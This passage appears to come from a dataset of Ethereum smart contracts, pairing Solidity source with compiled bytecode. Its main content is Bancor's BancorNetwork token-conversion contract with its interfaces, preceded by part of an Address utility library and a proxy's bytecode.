require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x60806040523661001357610011610017565b005b6100115b61004a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031661008a565b565b6001600160a01b03163b151590565b90565b60606100838383604051806060016040528060278152602001610249602791396100ae565b9392505050565b3660008037600080366000845af43d6000803e8080156100a9573d6000f35b3d6000fd5b60606001600160a01b0384163b61011b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161013691906101c9565b600060405180830381855af49150503d8060008114610171576040519150601f19603f3d011682016040523d82523d6000602084013e610176565b606091505b5091509150610186828286610190565b9695505050505050565b6060831561019f575081610083565b8251156101af5782518084602001fd5b8160405162461bcd60e51b815260040161011291906101e5565b600082516101db818460208701610218565b9190910192915050565b6020815260008251806020840152610204816040850160208701610218565b601f01601f19169190910160400192915050565b60005b8381101561023357818101518382015260200161021b565b83811115610242576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220bd39289854286da1d7aa7994d0926482980d9c75fa4d689d6be8749fbc0f7a4864736f6c63430008070033
[ 5 ]
0xf20b9e713a33f61fa38792d2afaf1cd30339126a
pragma solidity ^0.4.21; /* Owned contract interface */ contract IOwned { // this function isn't abstract since the compiler emits automatically generated getter functions as external function owner() public view returns (address) {} function transferOwnership(address _newOwner) public; function acceptOwnership() public; } /* ERC20 Standard Token interface */ contract IERC20Token { // these functions aren't abstract since the compiler emits automatically generated getter functions as external function name() public view returns (string) {} function symbol() public view returns (string) {} function decimals() public view returns (uint8) {} function totalSupply() public view returns (uint256) {} function balanceOf(address _owner) public view returns (uint256) { _owner; } function allowance(address _owner, address _spender) public view returns (uint256) { _owner; _spender; } function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } /* Contract Registry interface */ contract IContractRegistry { function getAddress(bytes32 _contractName) public view returns (address); } /* Contract Features interface */ contract IContractFeatures { function isSupported(address _contract, uint256 _features) public view returns (bool); function enableFeatures(uint256 _features, bool _enable) public; } /* Whitelist interface */ contract IWhitelist { function isWhitelisted(address _address) public view returns (bool); } /* Token Holder interface */ contract ITokenHolder is IOwned { function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public; } /* Ether Token interface */ contract IEtherToken is ITokenHolder, IERC20Token { function deposit() public payable; function withdraw(uint256 _amount) public; function withdrawTo(address _to, uint256 _amount) public; } /* Smart Token interface */ contract ISmartToken is IOwned, IERC20Token { function disableTransfers(bool _disable) public; function issue(address _to, uint256 _amount) public; function destroy(address _from, uint256 _amount) public; } /* Bancor Gas Price Limit interface */ contract IBancorGasPriceLimit { function gasPrice() public view returns (uint256) {} function validateGasPrice(uint256) public view; } /* Bancor Converter interface */ contract IBancorConverter { function getReturn(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount) public view returns (uint256); function convert(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256); function conversionWhitelist() public view returns (IWhitelist) {} // deprecated, backward compatibility function change(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256); } /* Bancor Network interface */ contract IBancorNetwork { function convert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public payable returns (uint256); function convertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for) public payable returns (uint256); function convertForPrioritized2( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for, uint256 _block, uint8 _v, bytes32 _r, bytes32 _s) public payable returns (uint256); // deprecated, backward compatibility function convertForPrioritized( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for, uint256 _block, uint256 _nonce, uint8 _v, bytes32 _r, bytes32 _s) public payable returns (uint256); } /* Utilities & Common Modifiers */ contract Utils { /** constructor */ function Utils() public { } // verifies that an amount is greater than zero modifier greaterThanZero(uint256 _amount) { require(_amount > 0); _; } // validates an address - currently only checks that it isn't null modifier validAddress(address _address) { require(_address != address(0)); _; } // verifies that the address is different than this contract address modifier notThis(address _address) { require(_address != address(this)); _; } // Overflow protected math functions /** @dev returns the sum of _x and _y, asserts if the calculation overflows @param _x value 1 @param _y value 2 @return sum */ function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) { uint256 z = _x + _y; assert(z >= _x); return z; } /** @dev returns the difference of _x minus _y, asserts if the subtraction results in a negative number @param _x minuend @param _y subtrahend @return difference */ function safeSub(uint256 _x, uint256 _y) internal pure returns (uint256) { assert(_x >= _y); return _x - _y; } /** @dev returns the product of multiplying _x by _y, asserts if the calculation overflows @param _x factor 1 @param _y factor 2 @return product */ function safeMul(uint256 _x, uint256 _y) internal pure returns (uint256) { uint256 z = _x * _y; assert(_x == 0 || z / _x == _y); return z; } } /* Provides support and utilities for contract ownership */ contract Owned is IOwned { address public owner; address public newOwner; event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner); /** @dev constructor */ function Owned() public { owner = msg.sender; } // allows execution by the owner only modifier ownerOnly { assert(msg.sender == owner); _; } /** @dev allows transferring the contract ownership the new owner still needs to accept the transfer can only be called by the contract owner @param _newOwner new contract owner */ function transferOwnership(address _newOwner) public ownerOnly { require(_newOwner != owner); newOwner = _newOwner; } /** @dev used by a new owner to accept an ownership transfer */ function acceptOwnership() public { require(msg.sender == newOwner); emit OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = address(0); } } /** Id definitions for bancor contracts Can be used in conjunction with the contract registry to get contract addresses */ contract ContractIds { bytes32 public constant BANCOR_NETWORK = "BancorNetwork"; bytes32 public constant BANCOR_FORMULA = "BancorFormula"; bytes32 public constant CONTRACT_FEATURES = "ContractFeatures"; } /** Id definitions for bancor contract features Can be used to query the ContractFeatures contract to check whether a certain feature is supported by a contract */ contract FeatureIds { // converter features uint256 public constant CONVERTER_CONVERSION_WHITELIST = 1 << 0; } /* We consider every contract to be a 'token holder' since it's currently not possible for a contract to deny receiving tokens. The TokenHolder's contract sole purpose is to provide a safety mechanism that allows the owner to send tokens that were sent to the contract by mistake back to their sender. */ contract TokenHolder is ITokenHolder, Owned, Utils { /** @dev constructor */ function TokenHolder() public { } /** @dev withdraws tokens held by the contract and sends them to an account can only be called by the owner @param _token ERC20 token contract address @param _to account to receive the new amount @param _amount amount to withdraw */ function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public ownerOnly validAddress(_token) validAddress(_to) notThis(_to) { assert(_token.transfer(_to, _amount)); } } /* The BancorNetwork contract is the main entry point for bancor token conversions. It also allows converting between any token in the bancor network to any other token in a single transaction by providing a conversion path. A note on conversion path - Conversion path is a data structure that's used when converting a token to another token in the bancor network when the conversion cannot necessarily be done by single converter and might require multiple 'hops'. The path defines which converters should be used and what kind of conversion should be done in each step. The path format doesn't include complex structure and instead, it is represented by a single array in which each 'hop' is represented by a 2-tuple - smart token & to token. In addition, the first element is always the source token. The smart token is only used as a pointer to a converter (since converter addresses are more likely to change). Format: [source token, smart token, to token, smart token, to token...] */ contract BancorNetwork is IBancorNetwork, TokenHolder, ContractIds, FeatureIds { address public signerAddress = 0x0; // verified address that allows conversions with higher gas price IContractRegistry public registry; // contract registry contract address IBancorGasPriceLimit public gasPriceLimit; // bancor universal gas price limit contract mapping (address => bool) public etherTokens; // list of all supported ether tokens mapping (bytes32 => bool) public conversionHashes; // list of conversion hashes, to prevent re-use of the same hash /** @dev constructor @param _registry address of a contract registry contract */ function BancorNetwork(IContractRegistry _registry) public validAddress(_registry) { registry = _registry; } // validates a conversion path - verifies that the number of elements is odd and that maximum number of 'hops' is 10 modifier validConversionPath(IERC20Token[] _path) { require(_path.length > 2 && _path.length <= (1 + 2 * 10) && _path.length % 2 == 1); _; } /* @dev allows the owner to update the contract registry contract address @param _registry address of a contract registry contract */ function setContractRegistry(IContractRegistry _registry) public ownerOnly validAddress(_registry) notThis(_registry) { registry = _registry; } /* @dev allows the owner to update the gas price limit contract address @param _gasPriceLimit address of a bancor gas price limit contract */ function setGasPriceLimit(IBancorGasPriceLimit _gasPriceLimit) public ownerOnly validAddress(_gasPriceLimit) notThis(_gasPriceLimit) { gasPriceLimit = _gasPriceLimit; } /* @dev allows the owner to update the signer address @param _signerAddress new signer address */ function setSignerAddress(address _signerAddress) public ownerOnly validAddress(_signerAddress) notThis(_signerAddress) { signerAddress = _signerAddress; } /** @dev allows the owner to register/unregister ether tokens @param _token ether token contract address @param _register true to register, false to unregister */ function registerEtherToken(IEtherToken _token, bool _register) public ownerOnly validAddress(_token) notThis(_token) { etherTokens[_token] = _register; } /** @dev verifies that the signer address is trusted by recovering the address associated with the public key from elliptic curve signature, returns zero on error. notice that the signature is valid only for one conversion and expires after the give block. @return true if the signer is verified */ function verifyTrustedSender(IERC20Token[] _path, uint256 _amount, uint256 _block, address _addr, uint8 _v, bytes32 _r, bytes32 _s) private returns(bool) { bytes32 hash = keccak256(_block, tx.gasprice, _addr, msg.sender, _amount, _path); // checking that it is the first conversion with the given signature // and that the current block number doesn't exceeded the maximum block // number that's allowed with the current signature require(!conversionHashes[hash] && block.number <= _block); // recovering the signing address and comparing it to the trusted signer // address that was set in the contract bytes32 prefixedHash = keccak256("\x19Ethereum Signed Message:\n32", hash); bool verified = ecrecover(prefixedHash, _v, _r, _s) == signerAddress; // if the signer is the trusted signer - mark the hash so that it can't // be used multiple times if (verified) conversionHashes[hash] = true; return verified; } /** @dev converts the token to any other token in the bancor network by following a predefined conversion path and transfers the result tokens to a target account note that the converter should already own the source tokens @param _path conversion path, see conversion path format above @param _amount amount to convert from (in the initial source token) @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero @param _for account that will receive the conversion result @return tokens issued in return */ function convertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for) public payable returns (uint256) { return convertForPrioritized2(_path, _amount, _minReturn, _for, 0x0, 0x0, 0x0, 0x0); } /** @dev converts the token to any other token in the bancor network by following a predefined conversion path and transfers the result tokens to a target account. this version of the function also allows the verified signer to bypass the universal gas price limit. note that the converter should already own the source tokens @param _path conversion path, see conversion path format above @param _amount amount to convert from (in the initial source token) @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero @param _for account that will receive the conversion result @return tokens issued in return */ function convertForPrioritized2(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for, uint256 _block, uint8 _v, bytes32 _r, bytes32 _s) public payable validConversionPath(_path) returns (uint256) { // if ETH is provided, ensure that the amount is identical to _amount and verify that the source token is an ether token IERC20Token fromToken = _path[0]; require(msg.value == 0 || (_amount == msg.value && etherTokens[fromToken])); // if ETH was sent with the call, the source is an ether token - deposit the ETH in it // otherwise, we assume we already have the tokens if (msg.value > 0) IEtherToken(fromToken).deposit.value(msg.value)(); return convertForInternal(_path, _amount, _minReturn, _for, _block, _v, _r, _s); } /** @dev converts token to any other token in the bancor network by following the predefined conversion paths and transfers the result tokens to a targeted account. this version of the function also allows multiple conversions in a single atomic transaction. note that the converter should already own the source tokens @param _paths merged conversion paths, i.e. [path1, path2, ...]. see conversion path format above @param _pathStartIndex each item in the array is the start index of the nth path in _paths @param _amounts amount to convert from (in the initial source token) for each path @param _minReturns minimum return for each path. if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero @param _for account that will receive the conversions result @return amount of conversion result for each path */ function convertForMultiple(IERC20Token[] _paths, uint256[] _pathStartIndex, uint256[] _amounts, uint256[] _minReturns, address _for) public payable returns (uint256[]) { // if ETH is provided, ensure that the total amount was converted into other tokens uint256 convertedValue = 0; uint256 pathEndIndex; // iterate over the conversion paths for (uint256 i = 0; i < _pathStartIndex.length; i += 1) { pathEndIndex = i == (_pathStartIndex.length - 1) ? _paths.length : _pathStartIndex[i + 1]; // copy a single path from _paths into an array IERC20Token[] memory path = new IERC20Token[](pathEndIndex - _pathStartIndex[i]); for (uint256 j = _pathStartIndex[i]; j < pathEndIndex; j += 1) { path[j - _pathStartIndex[i]] = _paths[j]; } // if ETH is provided, ensure that the amount is lower than the path amount and // verify that the source token is an ether token. otherwise ensure that // the source is not an ether token IERC20Token fromToken = path[0]; require(msg.value == 0 || (_amounts[i] <= msg.value && etherTokens[fromToken]) || !etherTokens[fromToken]); // if ETH was sent with the call, the source is an ether token - deposit the ETH path amount in it. // otherwise, we assume we already have the tokens if (msg.value > 0 && etherTokens[fromToken]) { IEtherToken(fromToken).deposit.value(_amounts[i])(); convertedValue += _amounts[i]; } _amounts[i] = convertForInternal(path, _amounts[i], _minReturns[i], _for, 0x0, 0x0, 0x0, 0x0); } // if ETH was provided, ensure that the full amount was converted require(convertedValue == msg.value); return _amounts; } /** @dev converts token to any other token in the bancor network by following a predefined conversion paths and transfers the result tokens to a target account. @param _path conversion path, see conversion path format above @param _amount amount to convert from (in the initial source token) @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero @param _for account that will receive the conversion result @param _block if the current block exceeded the given parameter - it is cancelled @param _v (signature[128:130]) associated with the signer address and helps to validate if the signature is legit @param _r (signature[0:64]) associated with the signer address and helps to validate if the signature is legit @param _s (signature[64:128]) associated with the signer address and helps to validate if the signature is legit @return tokens issued in return */ function convertForInternal( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for, uint256 _block, uint8 _v, bytes32 _r, bytes32 _s ) private validConversionPath(_path) returns (uint256) { if (_v == 0x0 && _r == 0x0 && _s == 0x0) gasPriceLimit.validateGasPrice(tx.gasprice); else require(verifyTrustedSender(_path, _amount, _block, _for, _v, _r, _s)); // if ETH is provided, ensure that the amount is identical to _amount and verify that the source token is an ether token IERC20Token fromToken = _path[0]; IERC20Token toToken; (toToken, _amount) = convertByPath(_path, _amount, _minReturn, fromToken, _for); // finished the conversion, transfer the funds to the target account // if the target token is an ether token, withdraw the tokens and send them as ETH // otherwise, transfer the tokens as is if (etherTokens[toToken]) IEtherToken(toToken).withdrawTo(_for, _amount); else assert(toToken.transfer(_for, _amount)); return _amount; } /** @dev executes the actual conversion by following the conversion path @param _path conversion path, see conversion path format above @param _amount amount to convert from (in the initial source token) @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero @param _fromToken ERC20 token to convert from (the first element in the path) @param _for account that will receive the conversion result @return ERC20 token to convert to (the last element in the path) & tokens issued in return */ function convertByPath( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, IERC20Token _fromToken, address _for ) private returns (IERC20Token, uint256) { ISmartToken smartToken; IERC20Token toToken; IBancorConverter converter; // get the contract features address from the registry IContractFeatures features = IContractFeatures(registry.getAddress(ContractIds.CONTRACT_FEATURES)); // iterate over the conversion path uint256 pathLength = _path.length; for (uint256 i = 1; i < pathLength; i += 2) { smartToken = ISmartToken(_path[i]); toToken = _path[i + 1]; converter = IBancorConverter(smartToken.owner()); checkWhitelist(converter, _for, features); // if the smart token isn't the source (from token), the converter doesn't have control over it and thus we need to approve the request if (smartToken != _fromToken) ensureAllowance(_fromToken, converter, _amount); // make the conversion - if it's the last one, also provide the minimum return value _amount = converter.change(_fromToken, toToken, _amount, i == pathLength - 2 ? _minReturn : 1); _fromToken = toToken; } return (toToken, _amount); } /** @dev checks whether the given converter supports a whitelist and if so, ensures that the account that should receive the conversion result is actually whitelisted @param _converter converter to check for whitelist @param _for account that will receive the conversion result @param _features contract features contract address */ function checkWhitelist(IBancorConverter _converter, address _for, IContractFeatures _features) private view { IWhitelist whitelist; // check if the converter supports the conversion whitelist feature if (!_features.isSupported(_converter, FeatureIds.CONVERTER_CONVERSION_WHITELIST)) return; // get the whitelist contract from the converter whitelist = _converter.conversionWhitelist(); if (whitelist == address(0)) return; // check if the account that should receive the conversion result is actually whitelisted require(whitelist.isWhitelisted(_for)); } /** @dev claims the caller's tokens, converts them to any other token in the bancor network by following a predefined conversion path and transfers the result tokens to a target account note that allowance must be set beforehand @param _path conversion path, see conversion path format above @param _amount amount to convert from (in the initial source token) @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero @param _for account that will receive the conversion result @return tokens issued in return */ function claimAndConvertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for) public returns (uint256) { // we need to transfer the tokens from the caller to the converter before we follow // the conversion path, to allow it to execute the conversion on behalf of the caller // note: we assume we already have allowance IERC20Token fromToken = _path[0]; assert(fromToken.transferFrom(msg.sender, this, _amount)); return convertFor(_path, _amount, _minReturn, _for); } /** @dev converts the token to any other token in the bancor network by following a predefined conversion path and transfers the result tokens back to the sender note that the converter should already own the source tokens @param _path conversion path, see conversion path format above @param _amount amount to convert from (in the initial source token) @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero @return tokens issued in return */ function convert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public payable returns (uint256) { return convertFor(_path, _amount, _minReturn, msg.sender); } /** @dev claims the caller's tokens, converts them to any other token in the bancor network by following a predefined conversion path and transfers the result tokens back to the sender note that allowance must be set beforehand @param _path conversion path, see conversion path format above @param _amount amount to convert from (in the initial source token) @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero @return tokens issued in return */ function claimAndConvert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public returns (uint256) { return claimAndConvertFor(_path, _amount, _minReturn, msg.sender); } /** @dev utility, checks whether allowance for the given spender exists and approves one if it doesn't @param _token token to check the allowance in @param _spender approved address @param _value allowance amount */ function ensureAllowance(IERC20Token _token, address _spender, uint256 _value) private { // check if allowance for the given amount already exists if (_token.allowance(this, _spender) >= _value) return; // if the allowance is nonzero, must reset it to 0 first if (_token.allowance(this, _spender) != 0) assert(_token.approve(_spender, 0)); // approve the new allowance assert(_token.approve(_spender, _value)); } // deprecated, backward compatibility function convertForPrioritized( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for, uint256 _block, uint256 _nonce, uint8 _v, bytes32 _r, bytes32 _s) public payable returns (uint256) { convertForPrioritized2(_path, _amount, _minReturn, _for, _block, _v, _r, _s); } }
0x60606040526004361061012f5763ffffffff60e060020a60003504166302ef521e8114610134578063046dc1661461015a5780631134269a146101795780635b7633d0146102045780635e35359e146102335780636b08f2ef1461025b5780636d7bd3fc146102ce57806379ba5097146102e15780637b103999146102f45780638077ccf71461030757806383315b6e1461033a57806389e63a601461034d5780638da5cb5b146103635780639232494e1461037657806392d1abb714610389578063961a929c1461039c578063b1e9932b146103af578063b5cadc9114610414578063c7ba24bc14610576578063c98fefed146105cc578063d4ee1d9014610626578063e33051dd14610639578063f2fde38b14610658578063f3898a9714610677578063fcd13d65146106c2575b600080fd5b341561013f57600080fd5b610158600160a060020a036004351660243515156106e1565b005b341561016557600080fd5b610158600160a060020a036004351661075e565b6101f260046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505084359460208101359450600160a060020a036040820135169350606081013592506080810135915060ff60a0820135169060c08101359060e001356107df565b60405190815260200160405180910390f35b341561020f57600080fd5b6102176107ff565b604051600160a060020a03909116815260200160405180910390f35b341561023e57600080fd5b610158600160a060020a036004358116906024351660443561080e565b6101f260046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505084359460208101359450600160a060020a0360408201351693506060810135925060ff608082013516915060a08101359060c001356108ef565b34156102d957600080fd5b6101f26109f4565b34156102ec57600080fd5b610158610a18565b34156102ff57600080fd5b610217610aa6565b341561031257600080fd5b610326600160a060020a0360043516610ab5565b604051901515815260200160405180910390f35b341561034557600080fd5b6101f2610aca565b341561035857600080fd5b610326600435610aee565b341561036e57600080fd5b610217610b03565b341561038157600080fd5b6101f2610b12565b341561039457600080fd5b6101f2610b36565b34156103a757600080fd5b610217610b3b565b34156103ba57600080fd5b6101f26004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843750949650508435946020810135945060400135600160a060020a03169250610b4a915050565b610523600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965050509235600160a060020a03169250610bfc915050565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561056257808201518382015260200161054a565b505050509050019250505060405180910390f35b341561058157600080fd5b6101f2600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965050843594602001359350610eba92505050565b6101f26004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843750949650508435946020810135945060400135600160a060020a03169250610ed0915050565b341561063157600080fd5b610217610eeb565b341561064457600080fd5b610158600160a060020a0360043516610efa565b341561066357600080fd5b610158600160a060020a0360043516610f7b565b6101f2600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965050843594602001359350610fdd92505050565b34156106cd57600080fd5b610158600160a060020a0360043516610feb565b60005433600160a060020a039081169116146106f957fe5b81600160a060020a038116151561070f57600080fd5b8230600160a060020a031681600160a060020a03161415151561073157600080fd5b5050600160a060020a03919091166000908152600560205260409020805460ff1916911515919091179055565b60005433600160a060020a0390811691161461077657fe5b80600160a060020a038116151561078c57600080fd5b8130600160a060020a031681600160a060020a0316141515156107ae57600080fd5b50506002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60006107f18a8a8a8a8a8989896108ef565b509998505050505050505050565b600254600160a060020a031681565b60005433600160a060020a0390811691161461082657fe5b82600160a060020a038116151561083c57600080fd5b82600160a060020a038116151561085257600080fd5b8330600160a060020a031681600160a060020a03161415151561087457600080fd5b85600160a060020a031663a9059cbb868660405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156108c857600080fd5b5af115156108d557600080fd5b5050506040518051905015156108e757fe5b505050505050565b600080896002815111801561090657506015815111155b801561091f57506002815181151561091a57fe5b066001145b151561092a57600080fd5b8a60008151811061093757fe5b9060200190602002015191503415806109725750348a1480156109725750600160a060020a03821660009081526005602052604090205460ff165b151561097d57600080fd5b60003411156109d55781600160a060020a031663d0e30db0346040518263ffffffff1660e060020a0281526004016000604051808303818588803b15156109c357600080fd5b5af115156109d057600080fd5b505050505b6109e58b8b8b8b8b8b8b8b61106c565b9b9a5050505050505050505050565b7f42616e636f72466f726d756c610000000000000000000000000000000000000081565b60015433600160a060020a03908116911614610a3357600080fd5b600154600054600160a060020a0391821691167f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a60405160405180910390a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600354600160a060020a031681565b60056020526000908152604090205460ff1681565b7f436f6e747261637446656174757265730000000000000000000000000000000081565b60066020526000908152604090205460ff1681565b600054600160a060020a031681565b7f42616e636f724e6574776f726b0000000000000000000000000000000000000081565b600181565b600454600160a060020a031681565b60008085600081518110610b5a57fe5b90602001906020020151905080600160a060020a03166323b872dd33308860405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b1515610bc757600080fd5b5af11515610bd457600080fd5b505050604051805190501515610be657fe5b610bf286868686610ed0565b9695505050505050565b610c0461194b565b6000806000610c1161194b565b60008060009550600093505b8a51841015610e9e5760018b51038414610c4f578a8460010181518110610c4057fe5b90602001906020020151610c52565b8b515b94508a8481518110610c6057fe5b906020019060200201518503604051805910610c795750595b908082528060200260200182016040525092508a8481518110610c9857fe5b9060200190602002015191505b84821015610d09578b8281518110610cb957fe5b90602001906020020151838c8681518110610cd057fe5b90602001906020020151840381518110610ce657fe5b600160a060020a0390921660209283029091019091015260019190910190610ca5565b82600081518110610d1657fe5b906020019060200201519050341580610d675750348a8581518110610d3757fe5b9060200190602002015111158015610d675750600160a060020a03811660009081526005602052604090205460ff165b80610d8b5750600160a060020a03811660009081526005602052604090205460ff16155b1515610d9657600080fd5b600034118015610dbe5750600160a060020a03811660009081526005602052604090205460ff165b15610e415780600160a060020a031663d0e30db08b8681518110610dde57fe5b906020019060200201516040518263ffffffff1660e060020a0281526004016000604051808303818588803b1515610e1557600080fd5b5af11515610e2257600080fd5b50505050898481518110610e3257fe5b90602001906020020151860195505b610e7c838b8681518110610e5157fe5b906020019060200201518b8781518110610e6757fe5b906020019060200201518b600080808061106c565b8a8581518110610e8857fe5b6020908102909101015260019390930192610c1d565b348614610eaa57600080fd5b50979a9950505050505050505050565b6000610ec884848433610b4a565b949350505050565b6000610ee285858585858080806108ef565b95945050505050565b600154600160a060020a031681565b60005433600160a060020a03908116911614610f1257fe5b80600160a060020a0381161515610f2857600080fd5b8130600160a060020a031681600160a060020a031614151515610f4a57600080fd5b50506004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a03908116911614610f9357fe5b600054600160a060020a0382811691161415610fae57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000610ec884848433610ed0565b60005433600160a060020a0390811691161461100357fe5b80600160a060020a038116151561101957600080fd5b8130600160a060020a031681600160a060020a03161415151561103b57600080fd5b50506003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008060008a6002815111801561108557506015815111155b801561109e57506002815181151561109957fe5b066001145b15156110a957600080fd5b60ff87161580156110b8575085155b80156110c2575084155b1561112457600454600160a060020a0316636b4dff1f3a60405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b151561110f57600080fd5b5af1151561111c57600080fd5b50505061113e565b6111338c8c8a8c8b8b8b611277565b151561113e57600080fd5b8b60008151811061114b57fe5b9060200190602002015192506111648c8c8c868d611416565b600160a060020a038216600090815260056020526040902054909c5090925060ff16156111f45781600160a060020a031663205c28788a8d60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15156111df57600080fd5b5af115156111ec57600080fd5b505050611267565b81600160a060020a031663a9059cbb8a8d60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561124857600080fd5b5af1151561125557600080fd5b50505060405180519050151561126757fe5b50989a9950505050505050505050565b600080600080883a89338d8f604051868152602081018690526c01000000000000000000000000600160a060020a038087168202604084015285160260548201526068810183905260888101828051906020019060200280838360005b838110156112ec5780820151838201526020016112d4565b50505050905001965050505050505060405190819003902060008181526006602052604090205490935060ff161580156113265750884311155b151561133157600080fd5b826040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c810191909152603c01604051908190039020600254909250600160a060020a03166001838989896040516000815260200160405260405193845260ff9092166020808501919091526040808501929092526060840192909252608090920191516020810390808403906000865af115156113d357600080fd5b505060206040510351600160a060020a03161490508015611408576000838152600660205260409020805460ff191660011790555b9a9950505050505050505050565b6003546000908190819081908190819081908190600160a060020a03166321f8a7217f436f6e747261637446656174757265730000000000000000000000000000000060405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561148f57600080fd5b5af1151561149c57600080fd5b5050506040518051905092508c519150600190505b81811015611609578c81815181106114c557fe5b9060200190602002015195508c81600101815181106114e057fe5b90602001906020020151945085600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561152957600080fd5b5af1151561153657600080fd5b50505060405180519050935061154d848a8561161a565b600160a060020a03868116908b161461156b5761156b8a858e611773565b83600160a060020a0316635e5144eb8b878f60028703861461158e576001611590565b8f5b60405160e060020a63ffffffff8716028152600160a060020a03948516600482015292909316602483015260448201526064810191909152608401602060405180830381600087803b15156115e457600080fd5b5af115156115f157600080fd5b50505060405180519c509499508994506002016114b1565b50929b999a50505050505050505050565b600081600160a060020a031663a5fbf28785600160405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561167157600080fd5b5af1151561167e57600080fd5b5050506040518051905015156116935761176d565b83600160a060020a031663c45d3d926040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156116d057600080fd5b5af115156116dd57600080fd5b5